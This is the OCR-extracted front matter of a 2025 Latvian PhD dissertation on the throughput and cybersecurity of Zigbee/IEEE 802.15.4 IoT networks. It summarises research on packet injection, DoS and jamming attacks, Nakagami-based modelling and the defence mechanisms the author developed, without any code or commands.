1862

oA

RIGAS TEHNISKA
UNIVERSITATE

Daniils Aleksandrovs-Moisejs

LIETU INTERNETA BEZVADU TIKLU VEIKTSPEJAS
UN KIBERDROSIBAS NOVERTEJUMS

Promocijas darbs

sy,
N /////

W7
()

S
KT

RTU Izdevnieciba
Riga 2025



RIGAS TEHNISKA UNIVERSISTATE

Datorzinatnes, informacijas tehnologijas un energétikas fakultate
Fotonikas, elektronikas un elektronisko sakaru institiits

Daniils Aleksandrovs-Moisejs
Doktora studiju programmas “Telekomunikacijas” doktorants

LIETU INTERNETA BEZVADU TIKLU
VEIKTSPEJAS UN KIBERDROSIBAS
NOVERTEJUMS

Promocijas darbs

Zinatniskais vaditajs
asocictais profesors Dr. sc. ing.
Aleksandrs Ipatovs

Riga 2025



PROMOCIJAS DARBS IZVIRZITS ZINATNES DOKTORA
GRADA IEGUSANAI RIGAS TEHNISKAJA UNIVERSITATE

Promocijas darbs zinatnes doktora (Ph. D.) grada iegiiSanai tiek publiski aizstavéts 2025.
gada 21. novembrt plkst. 10.00 Rigas Tehniskas universitates Datorzinatnes, informacijas
tehnologijas un energétikas fakultate, Azenes iela 12, 201. auditorija.

OFICIALIE RECENZENTI

Asoc. Profesors. Dr. sc. ing. Andis Supe
Rigas Tehniska universitate

Profesors Dr. sc. ing. Rafael Asorey Cacheda
Kartahenas Politehniska universitate, Spanija

Profesors Dr. ing. habil. Mehmet Ercan Altinsoy
Drézdenes Tehniska universitate, Vacija

APSTIPRINAJUMS

Apstiprinu, ka esmu izstradajis $o promocijas darbu, kas iesniegts izskatiSanai Rigas
Tehniskaja universitaté zinatnes doktora (Ph. D.) grada iegti$anai. Promocijas darbs zinatniska
grada iegtiSanai nav iesniegts neviena cita universitate.

Daniils Aleksandrovs-MOiSejS ...........cccevviiiiininieninnnn. (paraksts)
Datums: .........ccoeiiiii

Promocijas darbs ir uzrakstits latvieSu valoda, taja ir ievads, piecas nodalas, secinajumi,
literatiiras saraksts, 57 atteli, 22 tabulas, divi pielikumi, kopa 177 lappuses, ieskaitot
pielikumus. Literatiiras saraksta ir 146 nosaukumi.



PATEICIBA

Liels paldies promocijas darba zinatniskajam vaditajam asoci€tajam profesoram Dr. sc.
ing. Aleksandram Ipatovam par vértigajiem padomiem un ieteikumiem promocijas darba
izstrades laika! Vina profesionala vadiba un atbalsts bija neatsverami darba veiksmigai
realizacijai. Paldies art profesoram Dr. habil. sc. ing. Ernestam P&tersonam par sniegtajiem
padomiem, veértigajiem ieteikumiem un atbalstu darba izstrade!

Doktorantiiras laika man bija iesp&a stradat kopa ar Fotonikas, elektronikas un
elektronisko sakaru institita kolégiem. Esmu loti pateicigs institiita direktoram Vjaéeslavam
Bobrovam par iesp&ju macities doktoranttira, ka arT institiita direktora vietniecei Lilitai Gegerei
par atbalstu un palidzibu $aja laika. VElos pateikties ari maniem kursabiedriem Ruslanam
Sudnikam un Dmitrijam Prigunovam par idejam, atsaucibu un iedvesmu.

No sirds pateicos savai sievai Anastasijai, vecakiem Ellai un Sergejam, ka arT masai
Marijai par neizsikstoSu atbalstu, sapratni un milestibu, kas bija galvenais spéka un motivacijas
avots visa darba izstrades gaita!

Paldies ari visiem, ar kuriem man bija gods sadarboties un kuri sniedza man atbalstu, pat

ja vinu vardi $eit nav pieminéti!



ACKNOWLEDGMENT

I would like to express my gratitude to my scientific supervisor, Dr. sc. ing., Associate
Professor Aleksandrs Ipatovs, for his valuable advice and recommendations throughout the
development of this dissertation. His professional guidance and support were indispensable for
the successful completion of this work. | would also like to express my gratitude to Dr. habil.
sc. ing., Professor Ernests P&tersons for his valuable advice, insightful recommendations, and
support during the development of this dissertation.

During my doctoral studies, | had the privilege of collaborating with colleagues at the
Institute of Photonics, Electronics, and Telecommunications. |1 am deeply thankful to the
institute's director, Vjaceslavs Bobrovs, for providing me with the opportunity to pursue my
doctorate, as well as to the deputy director, Lilita Gegere, for her support and assistance during
this period. I would also like to thank my fellow doctoral students, Ruslans Sudniks and
Dmitrijs Prigunovs, for their ideas, responsiveness, and inspiration.

I am sincerely grateful to my wife, Anastasija, my parents, Ella and Sergejs, and my sister,
Marija, for their unwavering support, understanding, and love, which served as the main source
of strength and motivation throughout my work.

Finally, I extend my thanks to all those with whom I had the honor to collaborate and who

supported me, even if their names are not mentioned here.



ANOTACIJA
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“Lietu interneta bezvadu tiklu veiktsp&jas un kiberdro$ibas novertgjums”
Darba autors:

Daniils Aleksandrovs-Moisejs
Darba saturs:

Pedgjos gados tendences IEEE 802.11 un IEEE 802.15.4 bezvadu jeb sensoru tikli ir
plasi izplatiti dazados lietojumos, tostarp lietu interneta (10T), viedo maju sisteémas un Kritiski
svarigds infrastruktiras, pieméram, zinatnes, industrijas un medicinas nozarés. Sadi tikli
nodro$ina &rtu un elastigu datu parraides vidi, tacu to izmantoSana ir saistita ar vairakam
dro§ibas un veiktsp&jas problemam. IEEE 802.15.4 standarts, kas ir pamata tadiem protokoliem
ka Zigbee, ir izstradats darbibai zemas jaudas sensoru tiklos, nodrosinot datu parraidi vidé ar
ierobezotiem skaitloSanas resursiem. Tom@r zems energijas patérin§ un relativi zema
caurlaidspgjas josla padara IEEE 802.15.4 tiklus neaizsargatus pret fiziska slana (PHY) un datu
posma slana (MAC) uzbrukumiem, pieméram, pake$u injekciju un pakalpojuma atteikuma
(DoS) uzbrukumiem.

Promocijas darba apliikoti kiberdroSibas un caurlaidsp&jas aspekti IEEE 802.15.4
tiklos, galveno uzmanibu pievérSot standarta radito uzbrukumu analizei un neitraliz€éSanas
metodém. Pétljums ietver Zigbee tikla caurlaidsp&jas eksperimentalu novertésanu,
pamatojoties uz Senona teorému, nemot véra tadus faktorus ka pieskaitamas izmaksas,
sekmigas pakeSu parraides varbiittba un kanala izmantoSanas Iimenis. Lai noverttu
traucgjumu un uzbrukumu ietekmi uz tiklu, tika izmantota Nakagami sadalijuma balstita
statistiska modelé$anas metode. Eksperimentos tika analizéti uzbrukumi tiklam, piem&ram,
pakesu injekcijas, DoS uzbrukumi un signala trauc€Sana. Lai aizsargatu tiklu, tika izmantots
pakesu monitorésanas modulis CC2531 un uzbrukumu blok&s$anas metodes, lietojot papildu

uzraudzibas ierices un radiofrekvences (RF) trauc&umu generésanu.

Darba apjoms

Promocijas darba ir 177 lappuses, 22 tabulas, 57 attéli, 146 literatiiras avots un divi

pielikumi.



ANNOTATION
Title of the thesis:

“Assessment of Wireless Network Throughput and Cybersecurity in Internet of Things
systems”

Author of the thesis:

Daniils Aleksandrovs-Moisejs
Content of the thesis:

The global tendencies of IEEE 802.11 and IEEE 802.15.4 wireless or sensor networks
have been rapidly deployed in a variety of lifestyles applications including 10T, smart home
systems and critical infrastructures such as industrial, scientific and medical (ISM) sectors.
Such networks provide convenient and flexible environment for data transmission, but loT
device using is associated with a number of security and performance troubles. The IEEE
802.15.4 standard, which is the basis for protocols such as Zigbee and has been developed for
operation in low-power sensor networks, enabling data transmission in limited enviromental
parts. Howeverm low power consumption and low throughput make 802.15.4 networks a little
vulnerable to PHY and MAC attacks such as packet injection and denial of service attacks.

The thesis focused on cyber security and throughput aspects of IEEE 802.15.4
networks, focusing on the analysis of attacks and methods to counteract them. The study
includes an experimental evaluation of the throughput of Zigbee network based on Shannon’s
theorem, take into the factors such as overhead, probability of successful packet transmission
and channel utilisation rate. The statistical modelling method based on the Nakagami
distribution was used to assess the impact of interference and attacks on the network. The
experiments analysed network attacks such as packet injection, DoS attacks and signal
jamming. For network protecting, was used the CC2531 packet monitor module and attack
blocking techniques using additional monitoring devices and RF interference generation were

used.

Thesis contians:

177 pages, 22 tables, 57 figures, 146 literature sources and 2 supplements.
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IEVADS. TIKLU UZSTADISANA UN KIBERDROSIBAS
PROBLEMATIKA

Miisdienas eksisté daudz parvaldibas tehnologiju, ko var izmantot jebkura vieta. Katram
risinajumam ir konkréta vadibas tehnologija, kas piemérojama dazadas jomas. Piemé&ram,
izmantojot viedo majas sist€mu, ir nepiecieSams vienu tehnologijas klasts, uzskaitot —
KNX/EIB sistéma, kas tiek plasi izmantota Eiropas Savieniba, bet ta ir paredzéta liela méroga
majas parvaldibai, sakot no apgaismojuma Iidz Gdens noplides kontrolei [1]. Liela meéroga
razoSanai, pieméram, €kam vai ripnicam, tiek izmantota €ku vadibas sistéma (anglu val.
Building Management System; BMS), kas ietver elektroenergijas, apkures, liftu, apgaismojuma
un citu tehnologijas parvaldibu. Sis sistémas ir raditas cilvéku (inZenieru) rokam, lai tas
izmantotu citi cilveki - galalietotaji, kas var centraliz&t iesp&ju klastu un parvaldit tas attalinati
vai klatieng, atrodoties €ka, izmantojot vadibas panelus, mobilos talrunus, klépjdatorus un
plansetdatorus [2]. Un tas iev@rojami atvieglo dzivi gan &ku apsaimniekotajiem, gan
galalietotajam.

Ta ir tikai parvaldibas puse. Reti kur$ aizdomajas par aizsardzibas aspektiem - diemZ&l
drosiba biezi tiek saprasta vienigi ka informacijas aizsardziba no uzlau$anas vai manipulacijam
no arpuses. Ir gadijumi, kad cilvékam nepatik parvaldnieks, bet vins$ ir zino$s IT joma un spgj
rikoties, apejot sisttmu. Vin$ var panakt, ka tiek iegtita kontrole par €ku, vienlaikus iegiistot
informaciju par tikla punktu, kura ar 99 % varbitibu darbojas BMS. Pieméram, ir tikls ar
nosaukumu BMS-WiFi, un pati sistéma ir pieslégta gan bezvadu, gan ar vitu para kabeli,
pieméram, 5. kategorija (CAT5 vai CAT5e). Dazi montazas tehniki vai inzenieri, kas strada ar
sistému, “gréko”, uzstadot papildu drosibas pasakumos, sarezgitas paroles un ari papildu VLAN
tiklu, lai datu plisma no BMS uz gala iericém nebiitu redzama lietotajam vai treSajai pusei
(pieméram, uzbrucgjam). Var izveidot sléptos piekluves punktus, kas nebls redzami
parastajiem lietotajiem, kad tie bezvadu tiklu saraksta izvél€sies konkrétu bezvadu tiklu, tacu
uzbrucgjs var piekliit komutatoram, un tur viss ir caurspidigs. Ir iesp&jams paslépt, aizvert, var
veikt daudzfaktoru aizsardzibu un izmantot citas aizsardzibas lietas, kas var samazinat tikla
uzlausanas risku, tacu lietotaji reti aizdomajas par to, ka pasas sist€émas ir atvértas vietas, ko
nav nekada veida nevar izskaust [3].

Tas ir pietiekams iemesls, lai pieverstu uzmanibu tam, ka viedo maju sisttmam — pasi
tam, kas ir letaki tirgu pieejamie produkti — biezi vien var biit apzinati izveidots drosSibas
caurums (anglu val. backdoor), kas apdraud sistémas dro$ibu. Dazi no izplatitakajiem

“backdoor” veidiem — integrétas ierices programmatiira, nedroSie noklusgjuma iestatfjumi,
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nedro$a vai novecojusi §ifré8ana un atverta attalinata piekluve (SSH) [30-31]. Kiberdrosiba §is
termins attiecas uz jebkuru metodi, ar kuras palidzibu var iekldt sisteéma, tikla vai
lietojumprogramma un ko var lietot nesankciongtai piekluvei un datu launpratigai
izmantoSanai. Kaitnieciska programmatiira var izveidot alternativus piekluves celus
(“aizmugurgjas durvis”), kas lauj uzbrucgjiem attalinati pieklat sistémai, apdraudot tas drosibu
un konfidencialitati. Sada nesankcionéta piekluve var radit riskus, tostarp jiitigu datu noplidi
un launpratigu kontroli par tikla un sist€mas resursiem [31-32].

Pastav vairaku “aizmugurgjo durvju” veidi.

e Fiziskais veids — fizisks veids, ka pieklut datoram vai tikla iericém, pieméram,

komutatoram vai marsrutétajam.

e Virtualais veids — launpratiga programmatiira, lai pieklttu sist€émai attalinati [4].

Lai pasargatos no §ada veida piekluvém, jaizmanto uzticama pretvirusu programmatira un
citi drosibas riki, janodrosina kontu un parolu drosiba, ka art jaievero tiklu parklajumu drosibas
noteikumi, izmantojot papildu drosibas protokolus, pieméram, TLS / SSL vai SSH, un vecos un
labos autentifikacijas aizsardzibas lidzeklus un sarezgitas paroles, lai nelautu nevienam iegat
piekluvi tiklam.

Sistémas pastav ne tikai “aizmugurgjas durvis”, kuras iesp&jams neitralizet gan virtuali, gan
fiziski. Ir situacijas, kad virusi vai spiegprogrammas tikla nonak cilvéciska faktora —
neuzmanibas — d€l. Biezi vien lietotdji tikla neuzmanigi izmanto tikla resursus — precizak,
lokalo tiklu, kas ietver intranetu (ieksgjo internetu), pastu, viet&jas saites utt. Svarigi apsvert,
kas lokalaja tikla ugunsmari (anglu val. firewall) ir konfiguréts noteikums (anglu val. firewall
rules), kas lauj iegat piekluvi globalajam tiklam. Tados apstaklos pastav 50—70 % iespéja, ka
sistéma var tikt infic&ta ar datorvirusiem [4].

Dazos uzn@mumos ir informacijas drosibas inZenieri, kuru uzdevums ir nodro§inat darba
vieta glabatas informacijas kartibu un integritati. Merkis ir aizsargat informacijas jutigos datus
un infrastruktiru no apzinatas iejaukSanas, kas pec tam vai izraisit datu zudumu vai
nesankcion&tu modifikaciju. Lai nodrosinatu sist€émas efekttvu un stabilu darbibu, informacijas
drosibas sisteému ievieSana ir jaievero noteikti principi, kas veicina tas veiksmigu izmantoSanu

un darbspgju.
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o Konfidencialitate. Ieviest kontroles mehanismus, lai dazados posmos nodroSinatu

pietiekamu datu, aktivu un informacijas dro$ibas ITmeni, lai nov&rstu neatlautu
izpauSanu.

Integritate. Attiecas uz kontrolém, kas saistitas ar to, lai nodroSinatu, ka ieks$gja
informacija ir tikai pasa uznémuma ekosisttma un ar€ji konsekventa. Integritate
nodrosina arf to, ka tiek noversti informacijas izkroplojumi.

Pieejamiba. NodroSina, ka pilnvarotas personas var uzticami un efektivi pieklut
informacijai. Tikla videi jauzvedas paredzama veida, lai nepiecieSamibas gadijuma
varétu pieklut informacijai un datiem. AtjaunoSana pec sistémas atteices ir svarigs
faktors, kad runa ir par informacijas pieejamibu, un arT $ada atjaunosana janodrosSina

ta, lai ta nekada veida negativi neietekmétu pieejamibu [5].

Eksiste dazi dro§ibas kontroles veidi, kas palidz organizacijam samazinat risku lidz

pienemamam drosibas l[imenim.

Administrativie. Sis kontroles veids ietver apstiprinatu procediru, standartus un
politiku, nodrosinot uznémeéjdarbibas un cilvéka vadibas pamatu. Arf ir likumi un
noteikumi, kas izstradati valsts dro$iba iestadeés. Eksisté arl citi administrativas
kontroles pieméri, kas ietver korporativas drosibas politikas, paroles un disciplinarus
pasakumus.

Logiskie. Logiskas kontroles pamata ir piekluves nodro§inasana informacijas
sisttmam, programmatiira, paroles, ugunsmiiri, informacijas uzraudziba un piekluves
kontrole.

Fiziskie. Darba vides un skaitlosanas iekartu kontrole (dazadas viedas majas vai €kas

kontroles tehnologijas) [5].

Informacijas aizsardzibai ir droSibas pasakumi, tacu pastav arl1 draudi.

Apdraud&jumus/ievainojamibas var iedalit vairakas kategorijas — dabiskas (dazadas

kataklizmas), maksligas (kas jausi vai nejausi dara cilveki), ieksgjas (ievainojamibu céloni

sisttma) un argjas (apdraud&juma avoti arpus sist€mas). Dazada veida draudi var ietekmé&t

informacijas sistému dazados veidos — pasivi, kas nemaina struktiru un informaciju, un aktivi,

kas strada pretgji, var nomainit ekosistému un informaciju. Bistami ir apzinati draudi, kas tiek

papildinati, jo uzbrucgji “nestav uz vietas” un mekle jaunus darbibas veidus, lai iegilitu dazadu

konfidencialu informaciju un kaitétu organizacijai. Tadu ir “aizsardzibas lidzeklu” veidi, kas

palidz izvairities no dazada veida launpratibam — sistémas uzraudzibas programmas (IDS/IPS),
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ugunsmiri, risindgjumi pret informacijas nopladi, Kriptografiskas sisttmas un
drosibas/aizsardzibas protokoli [6].

Promocijas darba izstrades gaita veikts teorétisks un praktisks pétjjums lictu interncta
dro$ibas joma, koncentr&joties uz uzbrukuma méginajumu detekté$anu un analizi, §im nolakam
izmantojot specifiskus rikus un metodes. Galvena uzmaniba pieveérsta pakesu injekcijas (anglu
val. packet injection), DoS (anglu val. Denial of Service) uzbrukumu un kanalu trauc&$anas
(anglu val. jamming) metodém. P&tjjuma praktiska dala ietver pakeSu kerSanas un uzraudzibas
(anglu val. packet sniffing) izmanto$anu ar tadam iericém ka RZUSBstick un CC2531, ka ari
HackRF One izmanto$anu signala generéSanai un kanalu trauc&jumu radisanai.

Petijuma mérkis ir demonstrét, ka tikla uzbrucgjs, izmantojot modernas un pieejamas
tehnologijas, pieméram, RZUSBstick vai HackRF One, varétu parpemt kontroli par
marsrutétaju vai citam loT iericém. Darba TpaSa uzmaniba pievérsta caurlaidspgjas izmainu
analizei, izmantojot Python programmés$anu un Nakagami sadaljjumu, lai modelétu tikla
signalu izmainas un identificétu iericu vajas vietas. Tas sniedz ieskatu 10T drosibas trikumu
praktiska lietojuma, kas ir buitiski, lai labak saprastu sada veida uzbrukumu raditas sekas un

iesp&jamas aizsardzibas stratégijas.

Promocijas darba mérkis

Teorétiski novertét lietu interneta (10T) tikla veiktsp&ju, kiberdrosibas politiku un uzbrukumu
veidus, eksperimentali izveidot 10T tiklu ar noteiktu iericu skaitu un analiz&t ta vajas vietas,

izmantojot ievainojamibu testé$anas rikus, Python programmé$anu un Nakagami sadalijumu.
Promocijas darba uzdevumi

1. Izpétit miusdienu bezvadu loT tiklu standarta veiktsp&ju un salidzinos$i analizét IEEE
802.15.4 standarta pamatprincipus, veiktsp&jas raksturlielumus un ar tiem saistitos
kiberdrosibas riskus.

2. lzstradat un ieviest eksperimentalu hibrida loT tikla darbibas modeli ar noteiktu skaitu
sensoru iericu, lai test€tu to savietojamibu, darbibas stabilitati un caurlaidspgju.

3. Analizét |IEEE 802.15.4 standarta datu parraides veiktsp&u eksperimentala tikla,
izmantojot pakeSu monitoré$anas ierices un pasa izstradatu Python datu apstrades riku.

4. Veikt IEEE 802.15.4 tikla ievainojamibu testéSanu, simul&ot dazada veida tikla
traucgjumus, izmantojot RZUSBSTICK un pielagotu Python palai$anas programmu

signala stipruma un caurlaidsp&jas noveértésanai.
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5. Veikt IEEE 802.15.4 tikla uzbrukumu modeléSanu un izstradat aizsardzibas
mehanismus, pamatojoties uz CC2531 uztverto datu un HackRF One frekvences
manipulacijas iesp&jam.

6. Izmantojot Nakagami sadalfjumu un ta parametrus, matematiski modelet IEEE
802.15.4 tikla veiktsp&ju atbilstosi Senonas teorémai dazados stavoklos (normala un
uzbrukuma reZima).

7. Balstoties uz eksperimentalajiem rezultatiem, veikt IEEE 802.15.4 tikla simulaciju
Python vid€ un salidzinat ar teorétiskajiem modeliem, fokusgjoties uz kiberdrosibas
indikatoriem un datu parraides caurlaidspg&ju.

8. Izvertet eksperimentalos un simulacijas rezultatus, formulét galvenos secinajumus un

sniegt rekomendacijas kiberdrosibas paaugstinasanai IEEE 802.15.4 tiklos.
Pétijumu metodika

Promocijas darba izstrades gaita, lai istenotu defin&tos uzdevumus un analitiski
izvertétu konstatétds problémas, tika veikti eksperimentali mérfjumi un izstradatas
programmesanas pieejas, vienlaikus nemot véra kiberdrosibas politikas aspektu. Testa vide tika
izmantoti tadi riki un ierices ka RZUSBstick, CC2531 ar KillerBee biblioteku, HackRF One,
dazadi ZigBee mezgli, Raspberry Pi un Kali Linux vide, ka art Python programmeé&sanas valoda.
Datu pakeSu analizei tika izmantots Wireshark, savukart, lai modelétu un testétu dazadus
uzbrukuma un aizsardzibas scenarijus, tika izveidoti gan vadu, gan bezvadu (IEEE 802.15.4
ZigBee) tikli. Sada pieeja lauj sekmigi novertét 10T ieri¢u savstarpéjo mijiedarbibu un
identificét iespg&jamas drosSibas ievainojamibas, ka arT izstradat atbilstoSus aizsardzibas
mehanismus.

Matematiskie aprékini veikti, izmantojot Python programmatiiru ar matematikas
bibliotekam (matplotlib, scipy), savukart eksperimentalo mérfjumu rezultatu statistiska
apstrade veikta Excel vide.

Eksperimentu veiksmigai pabeigSanai izmantotas Python palaizprogrammas (Zigbee tikla
uzraudzibai, uzbrukumu veik$anai un t0 nov@r$anai) ir pieejamas publiskaja Github

repozitorija: https://github.com/DannyAlmois/PhD 10T _Zigbee Cybersecurity.
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Darba praktiska vertiba un jaunieguvumi

1.

Polinomu un hibridmodela tendences izmantoSana, lai apskatitu tikla darbspgjas
atjaunoSanas procesus pretpasakuma ierices uzbrukuma laika. Eksperimenti liecina, ka
klasiskas linearas tendences nevar aprakstit atjaunoSanas dinamiku, jo uzbrukuma
process un paketes siitiSana nav vienmerigi. Tika izmantoti kvadratiski un kubiski
polinomi, lai model&tu svarstibas atjaunoSanas procesos un hibridmodeli, kas
padzilinati apraksta tikla atjaunoS$anas posmu, nemot veéra argjos parametros.

Tika veikta visaptvero$a analize modificétam DoS uzbrukumiem, traucéSanas un
pakesu injekcija IEEE 802.15.4 tikla, izmantojot pielagotu programmatiiru un jaunas
palaisanas programmas Python vidé. Tika izstradata aizsardzibas metode, kas balstita
dinamiska uzraudziba un adaptiva traucé$ana, izmantojot CC2531 un SDR moduli p&c
konkretu pakesu kadru vai anomalu uzbrukumu darbibam, kas palielinaja izturibu pret
uzbrukumiem lidz 60-95 % atkariba no uzbrukuma veida un lidz 30 % samazinaja
caurlaidspgjas atjaunosanas laiku.

Izstradatais uzbrukuma simulacijas modelis lauj testet signala trauc@Sanas, pakesu
injekcijas un DoS uzbrukumus bez fiziskas aparatiiras, emulgjot lidz 30 iericEém
simulacijas tikla. Salidzinot ar realajiem eksperimentiem, pretpasakumu precizitate
sasniedza 95 %, padarot modeli par efektivu riku aizsardzibas mehanismu testé$anai un
turpmakajiem pétjjumiem.

P&tijuma tika izmantots Nakagami sadalijuma modelis ar fiks€tiem parametriem (m =
0,8 un @ = 0,3), kas bija izvéleti, jo tie atbilst realiem iekstelpu apstakliem, kur IEEE
802.15.4 tikli darbojas ar daudzcelu izplatiSanos un signala trauc&umiem, kas
raksturigi viedajam majam un 10T vidém, lai analiz€tu uzbrukumu ietekmi uz tikla
signala stiprumu un caurlaidsp&ju. Neskatoties uz parametriem, modelé$ana spgja
atspogulot signala stabilitates vajinajumu un paaugstinatu pakesu zudumu varbiitibu

uzbrukumu laika, paradot tikla jutigumu pret dazadiem uzbrukumu veidiem.

Promocijas darba izstrade iegiitie nozimigakie secinajumi

1.

Integréta WLAN un 10T sakaru tikla izveide, izmantojot Raspberry Pi un loT
marsrutétajus RaspBee Il, ir tehniski un ekonomiski pamatota. ST pieeja lauj vienkarsi
pieslégties Raspberry Pi mikrokontrolierim, izmantojot SSH savienojumu, kas atvieglo

attalinato piekluvi un nodroS$ina iesp&ju attalinati parvaldit tiklu.
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Tika izstradati aizsardzibas mehanismi, tostarp launpratigu pakeSu dinamikas
traucéSana, adaptivas datu plismas filtréSana un tikla kanala darbibas uzraudziba. Tadi
pasakumi sp€ja dalgji atjaunot tikla caurlaidsp&ju péc uzbrukumiem un nodroSinat
stabilu datu parraidi pat pastavigu draudu gadijuma.

Istenotie aizsardzibas mehanismi demonstréja augstu efektivitati pret dazada veida
uzbrukumiem. loT tikls uzradija visaugstako noturibu pret pake$u injekcijas
uzbrukumiem, realaja vide sasniedzot 94,83 %, savukart simulacija tikai — 85,14 %.
Traucg$anas uzbrukumu veida gadijuma izturiba bija 60,11 % tikla un 78,05 %
simulacija, kas apstiprina ierosinato launpratigo signalu filtréSanas un traucéSanas
metozu panakumus.

Visgriitak bija noverst DoS uzbrukumus, jo aizsardzibas efektivitate bija tikai 47,75 %,
savukart simulacija DoS uzbrukumu pretpasakuma raditajs sasniedza 93,33 %, uzsverot
to, ka testa rezultatus ictekméja gan aparatiiras ierobeZojumi, gan argjie traucg&jumi.
Salidzinosa simulacijas un realas vides analize paradija aizsardzibas mehanismu
efektivitates atSkirtbas. Simulacijas vide efektivitate bija augstaka, jo nebija argjo
faktoru un aparatiiras ierobezojumu, savukart realos apstaklos bija iespgjams novertet
DoS un trauc&$anas uzbrukumu atklasanas un blok&Sanas sarezgitibu.

Nakagami sadalfjuma lietoSana, lai analiz&tu uzbrukumu ietekmi uz tikla caurlaidsp&ju
un RSSI, lava simulét trafika signala uzvedibu dazados uzbrukumu scenarijos. Fiksétu
parametru izmantoS$ana lava novertet signala stabilitates samazinasanos un pakesu
zudumu varbiitibas palielinasSanos, kas bija 1pasi redzama trauceSanas uzbrukumu
apstaklos.

Tika izveidota Python simulacijas vide, lai modelétu uzbrukumus un novertétu
aizsardzibas mehanismu efektivitati. Simulacija tika atveidoti uzbrukumu veidu
scenariji ar 95 % precizitati, salidzinot ar reala tikla rezultatiem. Tas lava veikt
detalizetu tikla uzvedibas analizi parslodzes apstaklos, neizmantojot fiziskas iekartas.
Analizgjot uzbrukumu ietekmi uz tiklu, tika konstatéts, ka DoS uzbrukumu un signala
traucé$anas uzbrukumu rezultata caurlaidsp&ja samazinajas par 40-60 % un tikla
atjaunoSana p&c uzbrukumiem bez aizsardzibas mehanismiem bija par 30 % ilgaka.
Polinomu un hibridmodelu tendencu izmantosana lava ar augstu precizitati R = 0,96
prognozet tikla atjauno$anas procesu un optimizét stratégijas uzbrukumu seku

novérsanai.
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Promocijas darba aizstavamas tezes

1. Viens no uzbrukuma scenarijiem lietu interneta (IoT) hibridtiklam ir maksligi
samazinat signala stiprumu (RSSI) 1idz aptuveni -90 dBm, kas var izraisit biitiskus tikla
darbibas traucgjumus. Sadu uzbrukumu ir iesp&jams identificét un novérst ar
efektivitati [1dz pat 90%, izmantojot aizsardzibas moduli, kas bazets uz HackRF One.

2. Izmantojot CC2531 monitoré$anas moduli Zigbee 15. kanala (2,425 GHz), iesp&jams
identificét RSSI Iimena izmainas un pakesu pliismas traucgjumus, kas izraisa dalgju
tikla darbibas paralizi un parraides kartibas trauc&jumus defin€tu uzbrukumu rezultata.
modelét ar Nakagami sadalijumu, var prognozgt 1idz pat 20% lielaku signala stiprumu
(RSSI) salidzinajuma ar faktiskajiem, eksperimentali nomeéritajiem signala stipruma

(RSSI) raditajiem.

Promocijas darba pétijumi un rezultdti prezent€ti tris starptautiskas zinatniskajas
konferencés un divas SZTK pasakumos, ka arT atspoguloti viena publikacija zinatniskaja

zurnala un divas publikacijas konferen¢u materialos (skat. literatiiras saraksts).
Publikacijas zinatniskajos Zurnalos

Aleksandrovs-Moisejs, D., Ipatovs, A., Grabs, E., Rjazanovs, D. Evaluationof a Long-
Distance IEEE 802.11ah Wireless Technology in Linux Using Docker Containers. Elektronika
ir elektrotechnika = Electronics and Electrical Engineering, 2022, Vol. 28, No. 3, 71.-77.Ipp.

Publikacijas pilna teksta konferencu rakstu krajumos

1. Aleksandrovs-Moisejs, D., Ipatovs, A., Grabs, E., Rjazanovs, D., Sinuks, I.Arduino-
Based Temperature Sensor Organization and Design. No: 2023Photonics & Electromagnetics
Research Symposium (PIERS 2023):Proceedings, Cehija, Praga, 3.-6. jilijs, 2023.

2. Aleksandrovs-Moisejs, D., Grabs, E., Chen, T., Belinskis, R., Bogdanovs, N.,
Karklins, T., Klaga, J., Stetjuha, M., Ipatovs, A. Arduino-based Implementation and Design of
Modern Temperature Measurements Sensor Environments. In: 2024 Photonics &
Electromagnetics Research Symposium (PIERS 2024): Proceedings, Kina, Cendu, 21-25.
aprilis, 2024,
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Darba apjoms un struktiira

Promocijas darba ir 177 lappuses. Darba ir piecas nodalas, nobeigums, literatiiras saraksts
un 2 pielikumi.

Darba pirmaja nodala analiz&ti miisdienu bezvadu tikli un arhitektiira, standarta darbibas
principi un Ipasibas, Ipasu uzmanibu pieverSot IEEE 802.11 un IEEE 802.15.4 tikliem,
funkcijam un topologijam, protokoliem un integracijas iesp&jam l0T ekosistéma. Nodala
apliikotas arT o tiklu galvenas ievainojamibas fiziskaja (PHY) un datu kanala (MAC un LLC)
slanos, ka arT kopigas droSibas problémas.

Darba otraja nodala veiktas IEEE 802.11/802.15.4 tiklu uzbrukuma veidu analizes, tostarp
DoS uzbrukumi, pake$u injekcijas un Sakaru signdla traucESanas uzbrukumi. Detaliz&ti
aprakstiti katra uzbrukuma darbibas principi, Isteno$anas metodes un sekas uz tikla darbibu
atbilsto$i RSSI un tikla caurlaidsp&jas mérfjjumiem. Nodala analizétas arT eso$ds metodes
uzbrukumu atklasanai un noverSanai, ka arT pretpasakuma efektivitate.

TreSaja nodala aprakstita pétfjuma eksperimentala metodologija, tostarp testa tikla
arhitektlira, izmantota aparatlira un programmatiira. Nodala aprakstiti ari uzbrukuma riki
(RZUSBSTICK, CC2531, HackRF One), uzraudzibas riki Wireshark pamata un izstadatie DoS,
traucéSanai un pakeSu injekcijai paredz&tas palaiSanas programmas. Nodala sniegti arl
modeléSanas parametri Python simulacijas vidé un eksperimentu metodologija — RSSI un
caurlaidspgjas mérisana (izmantojot empirisko Senona teorému).

Ceturtaja nodala sniegta detaliz€ta iegiito datu analize, tostarp uzbrukumu ietekme uz
savienojuma kvalitati, caurlaidsp&ju un tikla stabilitati, ka arT eksperimentu rezultati gan reala,
gan simuléta vidé. Nodala aprakstita arT dazadu uzbrukumu veidu un to ietekmes uz tiklu
salidzinos$a analize, Tpasu uzmanibu pieverSot Nakagami sadalfjuma izmantoSanai tikla signala
degradacijas modelesanai un tikla uzticamibas noverteSanai parslodzes apstaklos.

Piektaja nodala aprakstitas izstradatas metodes tikla aizsardzibai pret DoS, signala
trauc€Sanas un pakeSu injekcijas uzbrukumiem. Aprakstitas pieejas launpratigu pakesu
atklaSanai, tostarp MAC adreses balstita filtréSana, dinamiska kanalu trauc€Sana un adaptiva
blok&Sana. Nodala izklastiti arT polinomu tendences algoritmi tikla atjaunoSanas prognozesanai
péc uzbrukumiem un ierosinati pasakumi tikla noturibas uzlabo§anai, ka ari apluikota ierosinato
mehanismu efektivitate realos un simulétos apstaklos.

Promocijas darba nobeiguma sniegti galvenie secinajumi, kas izriet no p&tjjuma rezultatiem,
ka arT priekslikumi turpmakajiem darba virzieniem bezvadu 0T kiberdrosibas joma, uzsverot

piedavato risinagjumu praktisko nozimi un to izmanto$anas iesp&jas 10T sistémas un Zigbee
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tiklos. A1l pievienots literatiiras saraksts, izmantotie avoti un publikacijas saraksti, kas bija
noderigi promocijas darba izstradei.
